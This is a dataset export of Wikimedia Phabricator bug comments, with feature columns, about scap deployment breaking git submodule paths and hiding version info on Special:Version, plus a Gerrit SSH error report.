    https://git.wikimedia.org/commit/mediawiki%2Fextensions%2FVisualEditor.git/fefd3a5d72c118993cc555f0a53a561f58a5fd19
    > echo $gitinfo->getHeadCommitDate();
    1400528579

I've verified that apache is running as the user ""apache"" on these nodes and that apache can read the *info.json files. The output of `eval.php` above shows that the php code is functional when executed from the cli. At this point I'm unable to understand why this output differs from SpecialVersion::getCreditsForExtension(). I'm sure I'm missing something in my analysis but I'm at a loss for what it is.",,,1400529133,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,46,,0.0,0.3333333333333333,0.0,0.0,1.0,3.0,0.3333333333333333,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,4.0,7.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,4.666666666666667,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,3.6666666666666665,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,13.666666666666666,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,1.6666666666666667,12.333333333333334,2.6666666666666665,1.6666666666666667,4.666666666666667,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,1.6666666666666667,0.0,3.3333333333333335,7.0,8.333333333333334,0.0,1.0,0.0,3.3333333333333335,0.0,1.6666666666666667,0.3333333333333333,0.0,2.0,0.0,0.0,1.6666666666666667,4.671097046413502,0.6321729957805907,"I'm looking into this again and still can't figure out why URL isn't displaying the git SHA1 for extensions now.

Debugging using CODE on deployment-apache01 and deployment-apache02 shows that GitInfo can read the precomputed git information there:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
    enwiki:specialversion-ext-version-text:/srv/common-local/php-master/extensions/VisualEditor/VisualEditor.php:49952a405014c89b239da3bcaea158c47faf8251
QUOTE
    enwiki-bca38539: 649.4035  25.8M  [memcached] get(enwiki:specialversion-ext-version-text:/srv/common-local/php-master/extensions/VisualEditor/VisualEditor.php:49952a405014c89b239da3bcaea158c47faf8251)
    enwiki-bca38539: 649.4047  25.8M  [memcached] result: NOT FOUND
    bool(false)

QUOTE
QUOTE
    fefd3a5d72c118993cc555f0a53a561f58a5fd19
QUOTE
    URL
QUOTE
    1400528579

I've verified that apache is running as the user ""apache"" on these nodes and that apache can read the *info.json files. The output of CODE above shows that the php code is functional when executed from the cli. At this point I'm unable to understand why this output differs from SpecialVersion::getCreditsForExtension(). I'm sure I'm missing something in my analysis but I'm at a loss for what it is."
250326,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link",Still not seeing data in Special:Version. There must be something that I'm not understanding about the environment. I can get the info via eval.php as shown above.,,,1399426964,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,44,,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,6.0,3.0,12.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,4.151515151515151,0.8484848484848485,Still not seeing data in Special:Version. There must be something that I'm not understanding about the environment. I can get the info via eval.php as shown above.
250320,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","I put a temporary hack in place on the beta nodes that run MediaWiki (apache0[12], jobrunner01, and videoscaler01) by symlinking $wgCacheDirectory/gitinfo to $IP/cache/gitinfo. This should make the git version data visible on the Special:Version page the next time that the MW-Core hash changes (memcache cache buster).

    deployment-apache01:~
    bd808$ mwscript eval.php --wiki=enwiki
    > var_dump( $gi = new GitInfo( ""$IP/extensions/VisualEditor"" ) );
    object(GitInfo)#113 (3) {
      [""basedir"":protected]=>
      NULL
      [""cacheFile"":protected]=>
      string(62) ""/tmp/mw-cache-master/gitinfo/info-extensions-VisualEditor.json""
      [""cache"":protected]=>
      array(6) {
        [""head""]=>
        string(40) ""0496bd84506927039958cc683a35a5e3b5da2584""
        [""remoteURL""]=>
        string(70) ""https://gerrit.wikimedia.org/r/p/mediawiki/extensions/VisualEditor.git""
        [""branch""]=>
        string(40) ""0496bd84506927039958cc683a35a5e3b5da2584""
        [""headCommitDate""]=>
        string(10) ""1399417572""
        [""headSHA1""]=>
        string(40) ""0496bd84506927039958cc683a35a5e3b5da2584""
        [""@directory""]=>
        string(44) ""/a/common/php-master/extensions/VisualEditor""
      }
    }",,,1399420245,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,2.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,11.666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,4.666666666666667,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,2.0,10.333333333333334,0.0,9.666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,8.0,4.975845410628019,0.5893719806763286,"I put a temporary hack in place on the beta nodes that run MediaWiki (apache0[12], jobrunner01, and videoscaler01) by symlinking $wgCacheDirectory/gitinfo to $IP/cache/gitinfo. This should make the git version data visible on the Special:Version page the next time that the MW-Core hash changes (memcache cache buster).

    deployment-apache01:~
    bd808$ mwscript eval.php --wiki=enwiki
QUOTE
    object(GitInfo)#113 (3) {
      [""basedir"":protected]=>
      NULL
      [""cacheFile"":protected]=>
      string(62) ""/tmp/mw-cache-master/gitinfo/info-extensions-VisualEditor.json""
      [""cache"":protected]=>
      array(6) {
        [""head""]=>
        string(40) ""0496bd84506927039958cc683a35a5e3b5da2584""
        [""remoteURL""]=>
        string(70) ""URL
        [""branch""]=>
        string(40) ""0496bd84506927039958cc683a35a5e3b5da2584""
        [""headCommitDate""]=>
        string(10) ""1399417572""
        [""headSHA1""]=>
        string(40) ""0496bd84506927039958cc683a35a5e3b5da2584""
        [""@directory""]=>
        string(44) ""/a/common/php-master/extensions/VisualEditor""
      }
    }"
250315,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Patches are merged, but not sufficient. I didn't look into the value of $wgCacheDirectory in operations/mediawiki-config.git. In beta and the prod cluster we set the cache directory to a location outside of $IP rather than $IP/cache as I expected/coded the scap side to this change for.

I'll either need to add a new global to set/change the location where GitInfo looks for the cache or add yet another scap step to copy the generated files around to adjust for this.",,,1399410121,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,0.0,0.5,1.0,2.5,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,2.5,0.0,5.0,12.0,0.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,1.5,0.0,1.0,0.0,1.5,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,7.0,0.5,5.0,1.0,3.0,10.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,2.5,12.0,1.5,0.0,0.0,0.0,2.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.5,3.87078431372549,0.7519607843137255,"Patches are merged, but not sufficient. I didn't look into the value of $wgCacheDirectory in operations/mediawiki-config.git. In beta and the prod cluster we set the cache directory to a location outside of $IP rather than $IP/cache as I expected/coded the scap side to this change for.

I'll either need to add a new global to set/change the location where GitInfo looks for the cache or add yet another scap step to copy the generated files around to adjust for this."
250310,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 130560 merged by jenkins-bot:
Precompute data for GitInfo

https://gerrit.wikimedia.org/r/130560",,,1399399638,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,44,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,"Change 130560 merged by jenkins-bot:
Precompute data for GitInfo

GERRIT_URL"
250306,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 130498 merged by jenkins-bot:
Support precomputed data in GitInfo

https://gerrit.wikimedia.org/r/130498",,,1399334206,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,44,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"Change 130498 merged by jenkins-bot:
Support precomputed data in GitInfo

GERRIT_URL"
250302,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 130560 had a related patch set uploaded by BryanDavis:
Precompute data for GitInfo

https://gerrit.wikimedia.org/r/130560",,,1398832805,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.944444444444445,1.0,"Change 130560 had a related patch set uploaded by BryanDavis:
Precompute data for GitInfo

GERRIT_URL"
250301,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 130498 had a related patch set uploaded by BryanDavis:
Support precomputed data in GitInfo

https://gerrit.wikimedia.org/r/130498",,,1398806849,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.052631578947368,1.0,"Change 130498 had a related patch set uploaded by BryanDavis:
Support precomputed data in GitInfo

GERRIT_URL"
250299,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link",I'm working on a fix for this problem by adding a step to scap that precomputes the information needed by GitInfo.php to json files that can be synced to the apaches. This would fix the path change issue and should slightly reduce runtime cost of Special:Version and other pages that use GitInfo. It would also allow us to drop syncing of the .git directories all together if we wanted.,,,1398716142,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,43,,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,4.0,0.0,5.0,15.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,19.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,1.0,9.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,4.0,3.0,1.0,4.0,0.0,0.0,0.0,4.24,0.7866666666666666,I'm working on a fix for this problem by adding a step to scap that precomputes the information needed by GitInfo.php to json files that can be synced to the apaches. This would fix the path change issue and should slightly reduce runtime cost of Special:Version and other pages that use GitInfo. It would also allow us to drop syncing of the .git directories all together if we wanted.
250297,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","(In reply to Bryan Davis from comment #2)
> I can't find any reason by grepping in operations/puppet that the general
> mw* nodes would have /a and/or /a/common created but /a/common exists as an
> empty directory on all of them that I randomly sampled.

I eventually found the puppet code that creates /a/common as an empty directory on many hosts. The misc::deployment::vars class which in included from the misc::deployment::scap_scripts class creates the directory if it doesn't exist [0].

[0]: https://github.com/wikimedia/operations-puppet/blob/c5b8fa0631d3b28b6ca062e313b98e80d7325d80/manifests/misc/deployment.pp#L368-L374",,,1398200919,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,42,,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,8.0,0.0,14.0,2.0,0.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,3.0,12.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,4.123076923076923,0.7692307692307693,"(In reply to Bryan Davis from comment #2)
QUOTE
QUOTE
QUOTE

I eventually found the puppet code that creates /a/common as an empty directory on many hosts. The misc::deployment::vars class which in included from the misc::deployment::scap_scripts class creates the directory if it doesn't exist [0].

[0]: URL"
250291,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","(In reply to James Forrester from comment #6)
> Could we just have scap re-write the .git files (or have them be relative
> and not absolute in the first place)?

Having them be relative in the first place would really be nicest. Do we have a git guru who could look into that?

I had the same idea about rewriting the .git files as a scap step. It shouldn't be too hard to do. Because of the way that scap works right now we'd need to do this on each host as a post-update step similarly to the way that the l10n JSON intermediate files are recompiled into CDB files.",,,1398197371,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,42,,1.0,0.0,0.0,1.0,1.0,8.0,1.5,1.0,0.0,0.0,3.5,2.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,2.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,2.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,0.0,1.0,1.0,0.0,0.0,11.5,0.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,2.0,0.5,0.0,6.5,3.0,8.0,1.0,0.0,9.0,0.0,0.0,0.0,0.5,6.0,0.0,0.5,0.0,3.5,11.0,4.0,0.5,0.0,0.0,3.5,0.0,2.5,2.5,0.5,1.0,0.0,0.5,0.0,3.5754716981132075,0.8207547169811321,"(In reply to James Forrester from comment #6)
QUOTE
QUOTE

Having them be relative in the first place would really be nicest. Do we have a git guru who could look into that?

I had the same idea about rewriting the .git files as a scap step. It shouldn't be too hard to do. Because of the way that scap works right now we'd need to do this on each host as a post-update step similarly to the way that the l10n JSON intermediate files are recompiled into CDB files."
250285,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link",Could we just have scap re-write the .git files (or have them be relative and not absolute in the first place)?,,,1398195477,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,42,,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.5,0.9230769230769231,Could we just have scap re-write the .git files (or have them be relative and not absolute in the first place)?
250278,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","This bug affects the beta environment now that scap is being used to deploy code there. The ideas for creating symlinks to restore the scame directory structure that is used on the deploy host (deployment-bastion.eqiad.wfmlabs) make even less sense in beta. Here's an example .git file from an extension there:

    gitdir: /mnt/srv/scap-stage-dir/php-master/extensions/.git/modules/MultimediaViewer",,,1398191798,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,42,,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,27.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,4.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,1.0,0.0,0.0,4.4743589743589745,0.7435897435897436,"This bug affects the beta environment now that scap is being used to deploy code there. The ideas for creating symlinks to restore the scame directory structure that is used on the deploy host (deployment-bastion.eqiad.wfmlabs) make even less sense in beta. Here's an example .git file from an extension there:

    gitdir: /mnt/srv/scap-stage-dir/php-master/extensions/.git/modules/MultimediaViewer"
250273,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link",*** Bug 62760 has been marked as a duplicate of this bug. ***,,,1395351525,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 62760 has been marked as a duplicate of this bug. ***
250269,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link",*** Bug 53070 has been marked as a duplicate of this bug. ***,,,1392411945,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53070 has been marked as a duplicate of this bug. ***
250264,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","(In reply to Krinkle from comment #0)
> I'm not sure what the semantic meaning is of these directories (/a/ seems to
> be an existing but unused directory on all hosts other than tin).

/a/common is the rsync server source directory on tin for scap. This directory is used to prepare the files that will be pushed out by scap to the members of the /etc/dsh/group/scap-proxies group and then subsequently to the rest of the cluster.

The misc::deployment::vars puppet class ensures that this directory is created on all hosts where the misc::deployment::scap_scripts puppet class is applied. The misc::deployment::scap_scripts class is applied directly to arsenic, hume, terbium, and tin in site.pp. It's also applied indirectly on the snapshot* servers by the mediawiki::sync class.

I can't find any reason by grepping in operations/puppet that the general mw* nodes would have /a and/or /a/common created but /a/common exists as an empty directory on all of them that I randomly sampled. It seems like it should be possible to add some puppet config (maybe in role::applicationserver::webserver?) to ensure that the /a directory is created and then symlink /a/common to /usr/local/apache/common.",,,1392334367,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,32,,1.6666666666666667,0.0,0.0,2.0,0.3333333333333333,4.333333333333333,0.6666666666666666,0.0,0.0,0.0,2.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,3.6666666666666665,11.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,3.3333333333333335,1.3333333333333333,1.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,16.666666666666668,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,5.0,3.0,4.0,1.0,2.0,7.333333333333333,0.0,0.0,0.0,0.3333333333333333,3.0,0.0,0.6666666666666666,0.0,2.6666666666666665,11.0,3.0,0.3333333333333333,0.0,0.0,2.6666666666666665,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,4.319047619047619,0.7095238095238096,"(In reply to Krinkle from comment #0)
QUOTE
QUOTE

/a/common is the rsync server source directory on tin for scap. This directory is used to prepare the files that will be pushed out by scap to the members of the /etc/dsh/group/scap-proxies group and then subsequently to the rest of the cluster.

The misc::deployment::vars puppet class ensures that this directory is created on all hosts where the misc::deployment::scap_scripts puppet class is applied. The misc::deployment::scap_scripts class is applied directly to arsenic, hume, terbium, and tin in site.pp. It's also applied indirectly on the snapshot* servers by the mediawiki::sync class.

I can't find any reason by grepping in operations/puppet that the general mw* nodes would have /a and/or /a/common created but /a/common exists as an empty directory on all of them that I randomly sampled. It seems like it should be possible to add some puppet config (maybe in role::applicationserver::webserver?) to ensure that the /a directory is created and then symlink /a/common to /usr/local/apache/common."
250258,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","(In reply to comment #0)
> I'm not sure what the semantic meaning is of these directories (/a/ seems to
> be
> an existing but unused directory on all hosts other than tin).

fluorine",,,1378775517,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.75,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

fluorine"
55895,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"On translatewiki.net during running repoupdate script: Randomly the script bails out with

hash mismatch
key_verify failed for server_host_key
fatal: The remote end hung up unexpectedly
error: Could not fetch origin

This happens since migration of Gerrit to the new server two days ago.

--------------------------
**Version**: wmf-deployment
